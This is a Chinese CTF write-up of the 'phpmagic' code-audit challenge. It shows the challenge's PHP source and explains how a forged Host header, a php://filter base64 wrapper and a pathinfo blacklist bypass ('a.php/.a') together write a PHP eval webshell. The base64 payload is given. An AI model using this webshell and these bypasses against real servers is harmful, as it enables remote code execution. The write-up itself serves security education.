一道代码审计题

一道代码审计题

题目是p神的code-breaking中的phpmagic。

先?read-source=1可以读到源码 php内容为：

<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?>

分析源码，首先创建了一个文件夹 路径为./data/md5($_SERVER['REMOTE_ADDR'])/

$command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command);

这里使用shell_exec执行了命令，但输入的domain被escapeshellarg处理过，没有其他条件，难以利用。

escapeshellarg($string) 把字符串转码为可以在shell命令里使用的参数 （确保用户只传递一个参数给命令）

$log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output;

这里有写文件的操作，output被打印出来了的 这个命令会把我们传入的值输出出来，但在之前使用了htmlspecialchars这个函数，使得所有的标签都被转化了。

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

我们可以使用php伪协议来写入文件，这样就不用担心标签字符失效了

这里还使用了pathinfo函数来取文件后缀，之后判断时候再黑名单中。 而pathinfo这个函数是可以被绕过的。

pathinfo函数只是取最后一个小数点之后的字符作为文件的后缀，因此很容易被绕过

这里用a.php/.a就能绕过，而且php://filter伪协议还能将其看做a.php (详细可以看看：http://wonderkun.cc/index.html/?p=626)

我们要用php伪协议来写文件，所以文件名log_name一定是php://filter开头的。 log_name的赋值过程：

$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); $log_name = $_SERVER['SERVER_NAME'] . $log_name;

这里将log_name开头写成了$_SERVER[‘SERVER_NAME’] 查找资料，发现当我们使用ip访问的时候，$_SERVER[‘SERVER_NAME’]是可以伪造的。

到此，我们就可以构造payload了 <?php eval($_GET[1]); ?> base64==> PD9waHAgZXZhbCgkX0dFVFsxXSk7ICA/Pg== 因为我们输入的参数是在$output的中间部分，所以base64后的等号不能要，不然解base64时会出错 最后，

最后看上传的位置， ./data/md5($_SERVER['REMOTE_ADDR'])/ $_SERVER[‘REMOTE_ADDR’]是我们自己的ip地址 这里我的路径是 /data/dd546ac20717cd31b1ceaad3eb9911c1/ 访问/data/dd546ac20717cd31b1ceaad3eb9911c1/shell.php，之后即可读取flag

知识点：

① php://filter可用来base64 bypass写入内容 ② pathinfo可以用/.来绕过 ③ $_SERVER[‘SERVER_NAME’]可通过Host进行伪造